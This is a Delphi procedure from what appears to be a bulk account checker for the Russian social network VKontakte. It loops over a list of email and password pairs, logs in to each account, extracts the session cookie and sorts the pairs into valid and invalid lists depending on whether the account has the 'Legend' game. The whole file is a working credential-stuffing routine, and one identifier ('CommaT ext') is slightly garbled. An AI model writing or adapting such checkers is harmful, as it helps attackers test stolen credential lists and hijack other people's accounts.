procedure TMainForm.CheckVKLegendButtonClick(Sender: TObject);
var
param : TStringList;
i : integer;
email, pass, s, cookie, post : string;
begin
param:=TStringList.Create;
for i:=0 to AllListBox.Items.Count-1 do begin
DivideVK(AllListBox.Items[i], email,pass);
param.Add('email='+email);
param.Add('pass='+pass);
param.Add('expire=');
param.Add('vk=1');
s:=IdHTTP2.Post('http://login.vk.com/?act=login',param);
param.Clear;
Delete(s, 1, Pos('id=''s'' value=''', s) + 13);
Delete(s, 57, Pos('''/>', s) + 35);
param.Add('op=slogin');
param.Add('redirect=1');
param.Add('expire=0');
param.Add('to=');
param.Add('s='+s);
s:=IdHTTP2.Post('http://vkontakte.ru/login.php',param);
Memo2.Lines.Add(idhttp2.Response.RawHeaders.CommaT ext);
cookie:=copy(Memo2.Text,pos('"Set-Cookie: remixsid=',Memo2.Text)+22,56);
ShowMessage(cookie);
IdHTTP2.Request.CustomHeaders.Add('Cookie: remixsid='+cookie+';');
post:=IdHTTP2.Get('http://vkontakte.ru/apps.php');
if Pos('Легенда - первая настоящая ролевая игра ВКонтакте!',post)>0 then
ValibLegendBox.Items.Add(email+':'+pass) else
InvalidLegendBox.Items.Add(email+':'+pass);
IdCookieManager2.CookieCollection.Clear;
end;
end;